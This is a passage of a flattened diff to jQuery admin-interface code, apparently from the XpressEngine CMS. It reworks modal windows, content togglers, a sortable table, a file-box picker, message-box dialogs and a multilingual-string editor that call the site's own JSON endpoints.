if(xeModalStack.length && xeModalStack[xeModalStack.length - 1].get(0) == $modal.get(0)){ + return; + } + + if(!$modal.parent('body').length) { + $btnClose = $(''); + $btnClose.click(function(){ $modal.data('anchor').trigger('close.mw') }); + $modal.find('[data-hide]').click(function(){ $modal.data('anchor').trigger('close.mw') }); + $('body').append($modal); + $modal.prepend($btnClose); // prepend close button + } + + // set the related anchor + $modal.data('anchor', $this); + + // before event trigger + before_event = $.Event('before-open.mw'); + $this.trigger(before_event); + + // is event canceled? + if(before_event.isDefaultPrevented()) return false; + + // get duration + duration = $this.data('duration') || 'fast'; + + // set state : showing + $modal.data('state', 'showing'); + + // after event trigger + function after(){ $this.trigger('after-open.mw') }; + + $(document).bind('keydown.mw', function(event){ + if(event.which == ESC) { + $this.trigger('close.mw'); + return false; + } + }); $modal - .prepend('') - .append('') - .find('>.fg') - .prepend($btnClose) - .append($btnClose.clone(true)) - .end() - .appendTo('body'); - } + .fadeIn(duration, after) + .find('button.x_close:first').focus(); - // set the related anchor - $modal.data('anchor', $this); + $('body').css('overflow','hidden'); - if($modal.data('state') == 'showing') { - $this.trigger('close.mw'); - } else { - $this.trigger('open.mw'); - } + // push to stack + xeModalStack.push($modal); - return false; - }) - .bind('open.mw', function(){ - var $this = $(this), before_event, $modal, duration; + // show backdrop and adjust z-index + var zIndex = xeModalInitailZIndex + ((xeModalStack.length - 1) * 2); - // before event trigger - before_event = $.Event('before-open.mw'); - $this.trigger(before_event); + $xeModalBackdrop.css('z-index', zIndex).show(); + $modal.css('z-index', zIndex + 1); + }) + .bind('close.mw', function(){ + var $this = $(this), before_event, $modal, duration; - // is event canceled? - if(before_event.isDefaultPrevented()) return false; + // get modal window + $modal = $( $this.attr('href') ); - // get modal window - $modal = $( $this.attr('href') ); - - // get duration - duration = $this.data('duration') || 'fast'; - - // set state : showing - $modal.data('state', 'showing'); - - // workaroud for IE6 - $('html,body').addClass('modalContainer'); - - // after event trigger - function after(){ $this.trigger('after-open.mw') }; - - $(document).bind('keydown.mw', function(event){ - if(event.which == ESC) { - $this.trigger('close.mw'); - return false; + // if stack top is not this modal, ignore + if(xeModalStack.length && xeModalStack[xeModalStack.length - 1].get(0) != $modal.get(0)){ + return; } + + // before event trigger + before_event = $.Event('before-close.mw'); + $this.trigger(before_event); + + // is event canceled? + if(before_event.isDefaultPrevented()) return false; + + // get duration + duration = $this.data('duration') || 'fast'; + + // set state : hiding + $modal.data('state', 'hiding'); + + // after event trigger + function after(){ $this.trigger('after-close.mw') }; + + $modal.fadeOut(duration, after); + $('body').css('overflow','auto'); + $this.focus(); + + // pop from stack + xeModalStack.pop(); + + // hide backdrop and adjust z-index + var zIndex = xeModalInitailZIndex + ((xeModalStack.length - 1) * 2); + + if(xeModalStack.length){ + $xeModalBackdrop.css('z-index', zIndex); + }else{ + $xeModalBackdrop.hide(); + } + }); - - $modal - .fadeIn(duration, after) - .find('>.bg').height($(document).height()).end() - .find('button.modalClose:first').focus(); - }) - .bind('close.mw', function(){ - var $this = $(this), before_event, $modal, duration; - - // before event trigger - before_event = $.Event('before-close.mw'); - $this.trigger(before_event); - - // is event canceled? - if(before_event.isDefaultPrevented()) return false; - - // get modal window - $modal = $( $this.attr('href') ); - - // get duration - duration = $this.data('duration') || 'fast'; - - // set state : hiding - $modal.data('state', 'hiding'); - - // workaroud for IE6 - $('html,body').removeClass('modalContainer'); - - // after event trigger - function after(){ $this.trigger('after-close.mw') }; - - $modal.fadeOut(duration, after); - $this.focus(); - }); -}; -$('a.modalAnchor').xeModalWindow(); -$('div.modal').addClass('x').hide(); - + $('div.x_modal').addClass('x'); + }; + $('a.modalAnchor').xeModalWindow(); }); // Content Toggler jQuery(function($){ + var dont_close_this_time = false; + var ESC = 27; -var dont_close_this_time = false; -var ESC = 27; + $.fn.xeContentToggler = function(){ + this + .not('.xe-content-toggler') + .addClass('xe-content-toggler') + .each(function(){ + var $anchor = $(this); $layer = $($anchor.attr('href')); -$.fn.xeContentToggler = function(){ - this - .not('.xe-content-toggler') - .addClass('xe-content-toggler') - .each(function(){ - var $anchor = $(this); $layer = $($anchor.attr('href')); + $layer.hide() + .not('.xe-toggling-content') + .addClass('xe-toggling-content') + .mousedown(function(event){ dont_close_this_time = true }) + .focusout(function(event){ + setTimeout(function(){ + if(!dont_close_this_time && !$layer.find(':focus').length && $layer.data('state') == 'showing') $anchor.trigger('close.tc'); + dont_close_this_time = false; + }, 1); + }); + }) + .click(function(){ + var $this = $(this), $layer; - $layer.hide() - .not('.xe-toggling-content') - .addClass('xe-toggling-content') - .mousedown(function(event){ dont_close_this_time = true }) - .focusout(function(event){ - setTimeout(function(){ - if(!dont_close_this_time && !$layer.find(':focus').length && $layer.data('state') == 'showing') $anchor.trigger('close.tc'); - dont_close_this_time = false; - }, 1); - }); - }) - .click(function(){ - var $this = $(this), $layer; + // get content container + $layer = $( $this.attr('href') ); - // get content container - $layer = $( $this.attr('href') ); + // set anchor object + $layer.data('anchor', $this); - // set anchor object - $layer.data('anchor', $this); + if($layer.data('state') == 'showing') { + $this.trigger('close.tc'); + } else { + $this.trigger('open.tc'); + } - if($layer.data('state') == 'showing') { - $this.trigger('close.tc'); - } else { - $this.trigger('open.tc'); - } + return false; + }) + .bind('open.tc', function(){ + var $this = $(this), $layer, effect, duration; - return false; - }) - .bind('open.tc', function(){ - var $this = $(this), $layer, effect, duration; + // get content container + $layer = $( $this.attr('href') ); - // get content container - $layer = $( $this.attr('href') ); + // get effeect + effect = $this.data('effect'); - // get effeect - effect = $this.data('effect'); + // get duration + duration = $this.data('duration') || 'fast'; - // get duration - duration = $this.data('duration') || 'fast'; + // set state : showing + $layer.data('state', 'showing'); - // set state : showing - $layer.data('state', 'showing'); + // before event trigger + $this.trigger('before-open.tc'); - // before event trigger - $this.trigger('before-open.tc'); + dont_close_this_time = false; - dont_close_this_time = false; - - // When mouse button is down or when ESC key is pressed close this layer - $(document) - .unbind('mousedown.tc keydown.tc') - .bind('mousedown.tc keydown.tc', - function(event){ - if(event) { - if(event.type == 'keydown' && event.which != ESC) return true; - if(event.type == 'mousedown') { - var $t = $(event.target); - if($t.is('html,.tgAnchor,.tgContent') || $layer.has($t).length) return true; + // When mouse button is down or when ESC key is pressed close this layer + $(document) + .unbind('mousedown.tc keydown.tc') + .bind('mousedown.tc keydown.tc', + function(event){ + if(event) { + if(event.type == 'keydown' && event.which != ESC) return true; + if(event.type == 'mousedown') { + var $t = $(event.target); + if($t.is('html,.tgAnchor,.tgContent') || $layer.has($t).length) return true; + } } + + $this.trigger('close.tc'); + + return false; } + ); - $this.trigger('close.tc'); + // triggering after + function trigger_after(){ $this.trigger('after-open.tc') } - return false; - } - ); + switch(effect) { + case 'slide': + $layer.slideDown(duration, trigger_after); + break; + case 'slide-h': + var w = $layer.css({'overflow-x':'',width:''}).width(); + $layer + .show() + .css({'overflow-x':'hidden',width:'0px'}) + .animate({width:w}, duration, function(){ $layer.css({'overflow-x':'',width:''}); trigger_after(); }); + break; + case 'fade': + $layer.fadeIn(duration, trigger_after); + break; + default: + $layer.show(); + $this.trigger('after-open.tc'); + } + }) + .bind('close.tc', function(){ + var $this = $(this), $layer, effect, duration; - // triggering after - function trigger_after(){ $this.trigger('after-open.tc') } + // unbind document's event handlers + $(document).unbind('mousedown.tc keydown.tc'); - switch(effect) { - case 'slide': - $layer.slideDown(duration, trigger_after); - break; - case 'slide-h': - var w = $layer.css({'overflow-x':'',width:''}).width(); - $layer - .show() - .css({'overflow-x':'hidden',width:'0px'}) - .animate({width:w}, duration, function(){ $layer.css({'overflow-x':'',width:''}); trigger_after(); }); - break; - case 'fade': - $layer.fadeIn(duration, trigger_after); - break; - default: - $layer.show(); - $this.trigger('after-open.tc'); - } - }) - .bind('close.tc', function(){ - var $this = $(this), $layer, effect, duration; + // get content container + $layer = $( $this.attr('href') ); - // unbind document's event handlers - $(document).unbind('mousedown.tc keydown.tc'); + // get effeect + effect = $this.data('effect'); - // get content container - $layer = $( $this.attr('href') ); + // get duration + duration = $this.data('duration') || 'fast'; - // get effeect - effect = $this.data('effect'); + // set state : hiding + $layer.data('state', 'hiding'); - // get duration - duration = $this.data('duration') || 'fast'; + // before event trigger + $this.trigger('before-close.tc'); - // set state : hiding - $layer.data('state', 'hiding'); + // triggering after + function trigger_after(){ $this.trigger('after-close.tc') }; - // before event trigger - $this.trigger('before-close.tc'); + // close this layer + switch(effect) { + case 'slide': + $layer.slideUp(duration, trigger_after); + break; + case 'slide-h': + $layer.animate({width:0}, duration, function(){ $layer.hide(); trigger_after(); }); + break; + case 'fade': + $layer.fadeOut(duration, trigger_after); + break; + default: + $layer.hide(); + $this.trigger('after-close.tc'); + } + }); - // triggering after - function trigger_after(){ $this.trigger('after-close.tc') }; - - // close this layer - switch(effect) { - case 'slide': - $layer.slideUp(duration, trigger_after); - break; - case 'slide-h': - $layer.animate({width:0}, duration, function(){ $layer.hide(); trigger_after(); }); - break; - case 'fade': - $layer.fadeOut(duration, trigger_after); - break; - default: - $layer.hide(); - $this.trigger('after-close.tc'); - } - }); - - return this; -}; - -$('a.tgAnchor').xeContentToggler(); + return this; + }; + $('a.tgAnchor').xeContentToggler(); }); // Module finder jQuery(function($){ + $.fn.xeModuleFinder = function(){ + this + .not('.xe-module-finder') + .addClass('xe-module-finder') + .find('a.tgAnchor.findsite') + .bind('before-open.tc', function(){ + var $this, $ul, val; -$.fn.xeModuleFinder = function(){ - this - .not('.xe-module-finder') - .addClass('xe-module-finder') - .find('a.tgAnchor.findsite') - .bind('before-open.tc', function(){ - var $this, $ul, val; + $this = $(this); + $ul = $($this.attr('href')).find('>ul'); + val = $this.prev('input:text').val(); - $this = $(this); - $ul = $($this.attr('href')).find('>ul'); - val = $this.prev('input:text').val(); + function on_complete(data) { + var $li, list = data.site_list, i, c; - function on_complete(data) { - var $li, list = data.site_list, i, c; + $ul.empty(); + $this.closest('.modulefinder').find('.moduleList,.moduleIdList').attr('disabled','disabled'); - $ul.empty(); - $this.closest('.modulefinder').find('.moduleList,.moduleIdList').attr('disabled','disabled'); + if(data.error || !$.isArray(list)) { + $this.trigger('close.tc'); + return; + } - if(data.error || !$.isArray(list)) { - $this.trigger('close.tc'); - return; - } + for(i=0,c=list.length; i < c; i++) { + $li = $('
                  2. ').appendTo($ul); + $('\ +
                    \ +

                    \ +
                    \ +
                    \ +
                    \ +
                    \ + '); + + $("body").append($msgBox); + $msgBox.find("._ok").click(function(){ + $.xeMsgBox.fnOnOK(); + }); + $msgBox.find("._cancel").click(function(){ + $.xeMsgBox.fnOnCancel(); + }); + $msgBox.bind("show", function(){ + $.xeMsgBox.bVisible = true; + $.xeMsgBox._showFoggy(); + $.xeMsgBox.fnOnShow(); + + if($msgBox.find('input,button').length > 0){ + setTimeout(function(){ + $msgBox.find('input,button').each(function(n, el){ + var $el = $(el); + if($el.is(":visible")){ + $el.focus(); + return false; + } + }); + }, 0); + } + }); + $msgBox.bind("hide", function(){ + $.xeMsgBox.bVisible = false; + $.xeMsgBox._hideFoggy(); + $.xeMsgBox.fnOnHide(); + }); + $(document.body).on('keydown', function(ev){ + if(!$.xeMsgBox.bVisible) return; + + if(ev.keyCode === 27){ + $msgBox.find("._cancel").click(); + ev.preventDefault(); + } + }); + + $.xeMsgBox.fnOnOK = function(){ + if(typeof $.xeMsgBox.htOptions.fnOnOK === "function"){ + if($.xeMsgBox.htOptions.fnOnOK()) return; + } + + $msgBox.hide(); + }; + + $.xeMsgBox.fnOnCancel = function(){ + if(typeof $.xeMsgBox.htOptions.fnOnCancel === "function") $.xeMsgBox.htOptions.fnOnCancel(); + + $msgBox.hide(); + }; + + $.xeMsgBox.fnOnShow = function(){ + if(typeof $.xeMsgBox.htOptions.fnOnShow === "function") $.xeMsgBox.htOptions.fnOnShow(); + }; + + $.xeMsgBox.fnOnHide = function(){ + if(typeof $.xeMsgBox.htOptions.fnOnHide === "function") $.xeMsgBox.htOptions.fnOnHide(); + }; + + + $.xeMsgBox.showMsgBox = function(htOptions){ + // sTitle, sText, fnOnOK, fnOnCancel, bSmall, bAlert, fnOnShow, fnOnHide, bDanger + $('head>link[rel="stylesheet"]:last').after(''); + htOptions = $.xeMsgBox.htOptions = htOptions || {}; + + var sTitle = htOptions.sTitle || ""; + var sText = htOptions.sText || ""; + + var bDanger = htOptions.bDanger || false; + + $msgBox.find("._title") .html(sTitle); + $msgBox.find("._text").html(sText); + + if(sText === ""){ + $msgBox.addClass('_nobody'); + }else{ + $msgBox.removeClass('_nobody'); + } + + var $confirmBtn = $msgBox.find('._ok'); + if(bDanger){ + $confirmBtn.removeClass('x_btn-inverse'); + $confirmBtn.addClass('x_btn-danger'); + }else{ + $confirmBtn.removeClass('x_btn-danger'); + $confirmBtn.addClass('x_btn-inverse'); + } + + // #msgBox._small {width:400px;margin-left:-200px} + // #msgBox._type_alert _cancel{display:none} + if(htOptions.bSmall){ + $msgBox.addClass("_small"); + }else{ + $msgBox.removeClass("_small"); + } + + if(htOptions.bAlert){ + $msgBox.addClass("_type_alert"); + }else{ + $msgBox.removeClass("_type_alert"); + } + + $msgBox.show(); + } + $.xeMsgBox.alertDialog = function(htOptions){ + htOptions = htOptions || {}; + htOptions.bAlert = true; + + this.showMsgBox(htOptions); + } + $.xeMsgBox.alert = function(sText){ + htOptions = { + bAlert : true, + bNobody : true, + bSmall: true, + sText : sText + }; + + this.showMsgBox(htOptions); + } + $.xeMsgBox.confirmDialog = function(htOptions){ + htOptions = htOptions || {}; + htOptions.bAlert = false; + + this.showMsgBox(htOptions); + } + + var $foggyLayer = $.xeMsgBox.$foggyLayer = $("
                    "); + $foggyLayer.css({ + position: 'fixed', + top:0, + left:0, + backgroundColor:'#000', + opacity: 0.5, + display:'none', + zIndex:9998 + }); + //$($.find("body")).append($msgBox); + $($.find("body")).append($foggyLayer); + + $.xeMsgBox._resizeFoggy = function(){ + $foggyLayer.css({ + width: 0, + height: 0 + }); + + setTimeout(function(){ + $foggyLayer.css({ + width: $(document).width(), + height: $(document).height() + }); + }, 0); + } + $(window).resize($.xeMsgBox._resizeFoggy); + $.xeMsgBox._resizeFoggy(); + + $.xeMsgBox._showFoggy = function(){ + $foggyLayer.show(); + } + $.xeMsgBox._hideFoggy = function(){ + $foggyLayer.hide(); + } +}); + +jQuery(function($){ + $.xeFoggy = {}; + + var $foggyLayer = $.xeFoggy.$foggyLayer = $("
                    "); + $foggyLayer.css({ + position: 'fixed', + top:0, + left:0, + backgroundColor:'#000', + opacity: 0.5, + display:'none', + zIndex:9998 + }); + $("body").append($foggyLayer); + + $.xeFoggy._resizeFoggy = function(){ + $foggyLayer.css({ + width: 0, + height: 0 + }); + + setTimeout(function(){ + $foggyLayer.css({ + width: $(document).width(), + height: $(document).height() + }); + }, 0); + } + $(window).resize($.xeFoggy._resizeFoggy); + $.xeFoggy._resizeFoggy(); + + $.xeFoggy.show = function(bClear){ + if(bClear){ + $foggyLayer.css({ + opacity: 0 + }); + }else{ + $foggyLayer.css({ + opacity: 0.5 + }); + } + $foggyLayer.show(); + } + $.xeFoggy.hide = function(){ + $foggyLayer.hide(); + } }); // Sortable table jQuery(function($){ + var + dragging = false, + $holder = $(' '); -var - dragging = false, - $holder = $(' '); + $.fn.xeSortableTable = function(){ + this + .not('.xe-sortable-table') + .addClass('xe-sortable-table') + .delegate('button.dragBtn', 'mousedown.st', function(event){ + var $this, $tr, $table, $th, height, width, offset, position, offsets, i, dropzone, cols, ofspar; -$.fn.xeSortableTable = function(){ - this - .not('.xe-sortable-table') - .addClass('xe-sortable-table') - .delegate('button.dragBtn', 'mousedown.st', function(event){ - var $this, $tr, $table, $th, height, width, offset, position, offsets, i, dropzone, cols, ofspar; + if(event.which != 1) return; - if(event.which != 1) return; + $this = $(this); + $tr = $this.closest('tr'); + $table = $this.closest('table'); + ofspar = $table.get(0).offsetParent; + height = $tr.height(); + width = $tr.width(); - $this = $(this); - $tr = $this.closest('tr'); - $table = $this.closest('table'); - ofspar = $table.get(0).offsetParent; - height = $tr.height(); - width = $tr.width(); + // before event trigger + before_event = $.Event('before-drag.st'); + $table.trigger(before_event); - // before event trigger - before_event = $.Event('before-drag.st'); - $table.trigger(before_event); + // is event canceled? + if(before_event.isDefaultPrevented()) return false; - // is event canceled? - if(before_event.isDefaultPrevented()) return false; + position = {x:event.pageX, y:event.pageY}; + offset = getOffset($tr.get(0), ofspar); - position = {x:event.pageX, y:event.pageY}; - offset = getOffset($tr.get(0), ofspar); + $clone = $tr.attr('target', true).clone(true).appendTo($table); - $clone = $tr.attr('target', true).clone(true).appendTo($table); + // get colspan + cols = ($th=$table.find('thead th')).length; + $th.filter('[colspan]').attr('colspan', function(idx,attr){ cols += attr - 1; }); + $holder.find('td').attr('colspan', cols); - // get colspan - cols = ($th=$table.find('thead th')).length; - $th.filter('[colspan]').attr('colspan', function(idx,attr){ cols += attr - 1; }); - $holder.find('td').attr('colspan', cols); + // get offsets of all list-item elements + offsets = []; + $table.find('tbody>tr:not([target],.sticky,:hidden)').each(function() { + var $this = $(this), o; - // get offsets of all list-item elements - offsets = []; - $table.find('tbody>tr:not([target],.sticky,:hidden)').each(function() { - var $this = $(this), o; + o = getOffset(this, ofspar); + offsets.push({top:o.top, bottom:o.top+$this.height(), $item:$this}); + }); - o = getOffset(this, ofspar); - offsets.push({top:o.top, bottom:o.top+$this.height(), $item:$this}); + $clone + .addClass('draggable') + .css({ + position: 'absolute', + opacity : .6, + width : width, + height : height, + left : offset.left, + top : offset.top, + zIndex : 100 + }); + + // Set a place holder + $holder + .css({ + position:'absolute', + opacity : .6, + width : width, + height : '10px', + left : offset.left, + top : offset.top, + backgroundColor : '#bbb', + overflow: 'hidden', + zIndex : 99 + }) + .appendTo($table); + + $tr.css('opacity', .6); + + $(document) + .unbind('mousedown.st mouseup.st') + .bind('mousemove.st', function(event) { + var diff, nTop, item, i, c, o; + + dropzone = null; + + diff = {x:position.x-event.pageX, y:position.y-event.pageY}; + nTop = offset.top - diff.y; + + for(i=0,c=offsets.length; i < c; i++) { + o = offsets[i]; + if( (i && o.top > nTop) || ((i < c-1) && o.bottom < nTop)) continue; + + dropzone = {element:o.$item}; + if(o.top > nTop - 12) { + dropzone.state = 'before'; + $holder.css('top', o.top-5); + } else { + dropzone.state = 'after'; + $holder.css('top', o.bottom-5); + } + } + + $clone.css({top:nTop}); + }) + .bind('mouseup.st', function(event) { + var $dropzone; + + dragging = false; + + $(document).unbind('mousemove.st mouseup.st'); + $tr.removeAttr('target').css('opacity', ''); + $clone.remove(); + $holder.remove(); + + if(!dropzone) return; + $dropzone = $(dropzone.element); + + // use the clone for animation + $dropzone[dropzone.state]($tr); + + $table.trigger('after-drag.st'); + }); + }) + + return this; + }; + $('table.sortable').xeSortableTable(); +}); + +// filebox +jQuery(function($){ + $('.filebox') + .bind('before-open.mw', function(){ + var $this, $list, $parentObj; + var anchor; + + $this = $(this); + anchor = $this.attr('href'); + + $list = $(anchor).find('.filebox_list'); + + function on_complete(data){ + $list.html(data.html); + + $list.find('.select') + .bind('click', function(event){ + var selectedImages = $('input.select_checkbox:checked'); + if(selectedImages.length == 0) { + var selectedImgSrc = $(this).closest('tr').find('img.filebox_item').attr('src'); + if(!selectedImgSrc){ + alert("None selected!"); + }else{ + $this.trigger('filebox.selected', [selectedImgSrc]); + $this.trigger('close.mw'); + } + }else { + $this.trigger('filebox.selected', [selectedImages]); + $this.trigger('close.mw'); + } + return false; + }); + + $list.find('.x_pagination') + .find('a') + .filter(function(){ + if ($(this).data('toggle')) return false; + if ($(this).parent().hasClass('x_disabled')) return false; + if ($(this).parent().hasClass('x_active')) return false; + return true; + }) + .bind('click', function(){ + var page = $(this).attr('page'); + + $.exec_json('module.getFileBoxListHtml', {'page': page}, on_complete); + return false; + }); + + $('#goToFileBox') + .find('button') + .bind('click', function(){ + var page = $(this).prev('input').val(); + + $.exec_json('module.getFileBoxListHtml', {'page': page}, on_complete); + return false; + }); + + $list.closest('.x_modal-body').scrollTop(0); + } + + $.exec_json('module.getFileBoxListHtml', {'page': '1'}, on_complete); + }); +// Details toggle in admin table + var simpleBtn = $('.x .dsTg .__simple'); + var detailBtn = $('.x .dsTg .__detail'); + var tdTitle = $('.x .dsTg td.title'); + tdTitle.each(function(){ + var $t = $(this) + if($t.find('p.x_alert').length==0){ + $t.addClass('tg').find('>*:not(:first-child)').hide(); + } + }); + var details = $('.x .dsTg td.tg>*:not(:first-child)'); + simpleBtn.click(function(){ + details.hide(); + detailBtn.removeClass('x_active'); + simpleBtn.addClass('x_active'); + }); + detailBtn.click(function(){ + details.show(); + detailBtn.addClass('x_active'); + simpleBtn.removeClass('x_active'); + }); +}); + +// Multilingual Window +jQuery(function($){ + $.fn.xeMultilingualWindow = function(options){ + var $g11n_get = $(this); + var $g11n_create = $g11n_get.find('#lang_create'); + var $g11n_search = $g11n_get.find('#lang_search'); + var is_create_changed = false; + + // options + options = $.extend({ + create_type: 'save_and_use', + modify_type: 'save_and_use', + view_use: true, + view_modify: true, + view_delete: false, + list_count: 5 + }, options || {}); + + // change text + if(options.create_type != 'save_and_use'){ + $g11n_create.find('.save-useit').text(xe.cmd_save); + } + + // #lang_create confirm + function g11n_create_save_confirm(){ + if($g11n_create.is(':visible') && is_create_changed){ + if(confirm(xe.msg_confirm_save_and_use_multilingual)){ + $g11n_create.find('.save-useit').trigger('click'); + } + } + + return true; + } + + // #lang_search confirm + function g11n_search_save_confirm(){ + if($g11n_search.is(':visible') && $g11n_search.find('.editMode').length){ + var $search_item = $g11n_search.find('.editMode'); + if(confirm(xe.msg_confirm_save_and_use_multilingual)){ + $search_item.find('.save').trigger('click'); + }else{ + $search_item.find('.cancel').trigger('click'); + } + } + + return true; + } + + // #g11n Reset to default + function g11n_reset_default(){ + $g11n_search.find('.item > fieldset').hide().prev('a').children('i').removeClass('x_icon-chevrom-up').addClass('x_icon-chevron-down'); + $g11n_get.find('[href="#lang_create"]').trigger('click'); + $g11n_create.find('.editMode').children('textarea').val(''); + is_create_changed = false; + + return true; + } + + // before open + function g11n_before_open(code){ + if(!code){ + g11n_get_list(1, xe.current_lang, '', '', false); + }else{ + g11n_get_list(1, xe.current_lang, '', code, false); + $g11n_get.find('[href="#lang_search"]').trigger('click', true); + } + } + + // before close + function g11n_before_close(){ + if(!g11n_create_save_confirm()) return false; + if(!g11n_search_save_confirm()) return false; + if(!g11n_reset_default()) return false; + } + + // use lang code + function g11n_use_lang_code(code, value){ + var $target = $g11n_get.data('lang-target'); + is_create_changed = false; + + if($target) + $target.trigger('selected.g11n', [code, value]); + } + + // get list + function g11n_get_list(page, lang_code, search_keyword, name, scroll){ + if(typeof page == 'undefined') page = 1; + if(typeof lang_code == 'undefined') lang_code = xe.current_lang; + if(typeof search_keyword == 'undefined') search_keyword = ''; + if(typeof name == 'undefined') name = ''; + if(typeof scroll == 'undefined') scroll = true; + + $.exec_json('module.getModuleAdminLangListHtml', { + 'page': page, + 'lang_code': lang_code, + 'search_keyword': search_keyword, + 'name': name, + 'list_count': options.list_count, + 'mid': current_url.getQuery('mid') + }, function(data){ + if(!data || !data.html) return; + + $g11n_search.html(data.html); + + g11n_search_page(); + g11n_search_search(); + g11n_search_text(); + g11n_search_button(); + + if(scroll) document.location.href = '#lang_search'; + + if(name){ + $('#lang_search').find('[href^="#lang-"]').trigger('click'); + } + }); + } + + // page + function g11n_search_page(){ + $g11n_search.find('.x_pagination a').click(function(){ + var page = $(this).data('page'); + var search_keyword = $(this).data('search_keyword'); + var lang_code = $(this).data('current_lang'); + + if(!page) return; + + g11n_get_list(page, lang_code, search_keyword); + return false; }); - $clone - .addClass('draggable') - .css({ - position: 'absolute', - opacity : .6, - width : width, - height : height, - left : offset.left, - top : offset.top, - zIndex : 100 + $g11n_search.find('.x_pagination').submit(function(){ + var page = $(this).find('[name="page"]').val(); + var search_keyword = $(this).data('search_keyword'); + var lang_code = $(this).data('current_lang'); + + if(!page) return false; + + g11n_get_list(page, lang_code, search_keyword); + return false; + }); + } + + // search + function g11n_search_search(){ + $g11n_search.find('.search').submit(function(){ + var search_keyword = $(this).find('[name="search_keyword"]').val(); + var lang_code = $(this).find('[name="lang_code"]').val(); + + g11n_get_list(1, lang_code, search_keyword); + return false; + }); + + $g11n_search.find('#search_cancel').click(function(){ + g11n_get_list(1, xe.current_lang, ''); + }); + } + + // text click + function g11n_search_text(){ + $g11n_search.find('.set').append('').click(function(){ + var $this = $(this); + var lang_code = $this.data('lang_code'); + + g11n_search_save_confirm(); + + // Fieldset close/open display + var up = 'x_icon-chevron-up'; + var down = 'x_icon-chevron-down'; + if($this.next('fieldset').is(':visible')){ + $this.children('i').removeClass(up).addClass(down); + }else{ + $this.parent('.item').siblings('.item').find('a > i').removeClass(up).addClass(down).end().children('fieldset').hide(); + $this.children('i').removeClass(down).addClass(up); + } + + if(typeof $this.data('is_loaded') != 'undefined') return; + + $.exec_json('module.getModuleAdminLangCode', { + 'name': lang_code, + 'mid': current_url.getQuery('mid') + }, on_complete); + + function on_complete(data){ + var $textareas = $this.next('fieldset').find('textarea'); + + $textareas.each(function(){ + var $this = $(this); + var value = data.langs[$this.data('lang')]; + var pattern = /^\$user_lang->/; + + if(pattern.test(value)){ + $this.val('').data('value', ''); + }else{ + $this.val(value).data('value', value); + } + }); + + $this.data('is_loaded', true); + } + }); + } + + // search buttons + function g11n_search_button(){ + if(!options.view_use) $g11n_search.find('.useit').hide(); + if(!options.view_modify) $g11n_search.find('.modify').hide(); + if(!options.view_delete) $g11n_search.find('.delete').hide(); + if(options.modify_type == 'save'){ + $g11n_search.find('.save').text(xe.cmd_save); + } + + // Modify click + $g11n_search.find('.modify').click(function(){ + $(this).closest('fieldset').addClass('editMode').find('textarea').removeAttr('disabled'); + $(this).siblings('.cancel').prependTo($(this).parent()); + $(this).siblings('.delete').attr('disabled', 'disabled'); + }); + + // Cancel Click + $g11n_search.find('.cancel').click(function(){ + $(this).closest('fieldset').removeClass('editMode').find('textarea').attr('disabled', 'disabled').each(function(){ + var $this = $(this); + + $this.val($this.data('value')); }); - // Set a place holder - $holder - .css({ - position:'absolute', - opacity : .6, - width : width, - height : '10px', - left : offset.left, - top : offset.top, - backgroundColor : '#bbb', - overflow: 'hidden', - zIndex : 99 - }) - .appendTo($table); + $(this).siblings('.modify').prependTo($(this).parent()); + $(this).siblings('.delete').removeAttr('disabled'); - $tr.css('opacity', .6); + return false; + }); - $(document) - .unbind('mousedown.st mouseup.st') - .bind('mousemove.st', function(event) { - var diff, nTop, item, i, c, o; + // Delete click + $g11n_search.find('.delete').click(function(){ + if(!confirm(xe.confirm_delete)) return; - dropzone = null; + var $this = $(this); - diff = {x:position.x-event.pageX, y:position.y-event.pageY}; - nTop = offset.top - diff.y; + lang_name = $this.closest('.item').find('[href^="#lang-"]').data('lang_code'); - for(i=0,c=offsets.length; i < c; i++) { - o = offsets[i]; - if( (i && o.top > nTop) || ((i < c-1) && o.bottom < nTop)) continue; - - dropzone = {element:o.$item}; - if(o.top > nTop - 12) { - dropzone.state = 'before'; - $holder.css('top', o.top-5); - } else { - dropzone.state = 'after'; - $holder.css('top', o.bottom-5); - } + $.exec_json('module.procModuleAdminDeleteLang', { + 'name': lang_name, + 'mid': current_url.getQuery('mid') + }, function (data){ + if(!data) return; + if(data.error){ + alert(data.message); + return; } - $clone.css({top:nTop}); - }) - .bind('mouseup.st', function(event) { - var $dropzone; + var $pagination = $g11n_search.find('.x_pagination'); + var page = $pagination.data('page'); + var search_keyword = $pagination.data('search_keyword'); + var lang_code = $pagination.data('lang_code'); - dragging = false; + if(!page) $page = 1; - $(document).unbind('mousemove.st mouseup.st'); - $tr.removeAttr('target').css('opacity', ''); - $clone.remove(); - $holder.remove(); - - if(!dropzone) return; - $dropzone = $(dropzone.element); - - // use the clone for animation - $dropzone[dropzone.state]($tr); - - $table.trigger('after-drag.st'); + g11n_get_list(page, lang_code, search_keyword); }); - }) + }); - return this; -}; -$('table.sortable').xeSortableTable(); + // Save Click + $g11n_search.find('.item').submit(function(){ + var $this = $(this); + var $textareas = $this.find('.editMode').children('textarea'); + var $anchor = $this.find('[href^="#lang-"]'); + var params = {}; + var current_lang_value = null; + // create lang list + $textareas.each(function(){ + var $this = $(this); + params[$this.attr('class')] = $this.val(); + $this.data('tmp_value', $this.val()); + if(xe.current_lang == $this.attr('class')){ + current_lang_value = $this.val(); + } + }); + + params.lang_name = $anchor.data('lang_code'); + params.mid = current_url.getQuery('mid'); + + // submit + $.exec_json('module.procModuleAdminInsertLang', params, function (data){ + if(!data || data.error || !data.name) return; + + $textareas.each(function(){ + var $this = $(this); + $this.data('value', $this.data('tmp_value')); + }); + $anchor.children('span').html(current_lang_value); + + $g11n_search.find('.cancel').trigger('click'); + $this.find('.useit').trigger('click'); + }); + + return false; + }); + + // Useit click + $g11n_search.find('.useit').click(function(){ + var $this = $(this); + var $anchor = $this.closest('.item').find('[href^="#lang-"]'); + var name = $anchor.data('lang_code'); + var value = $anchor.children('span').text(); + + g11n_use_lang_code(name, value); + }); + } + + // tabbale + $g11n_get.find('.x_tabbable').xeTabbable(); + + // check create change + $g11n_create.find('.editMode textarea').change(function(){ + is_create_changed = true; + }); + + // Save-Useit click + $g11n_create.submit(function(){ + var $this = $(this); + var params = {}; + var current_lang_value = null; + + // create lang list + $this.find('.editMode').children('textarea').each(function(){ + var $this = $(this); + params[$this.attr('class')] = $this.val(); + if(xe.current_lang == $this.attr('class')){ + current_lang_value = $this.val(); + } + }); + + if(!current_lang_value){ + alert(xe.msg_empty_multilingual); + return false; + } + + params.mid = current_url.getQuery('mid'); + + // submit + $.exec_json('module.procModuleAdminInsertLang', params, on_complete); + + function on_complete(data){ + if(!data || data.error || !data.name) return; + + 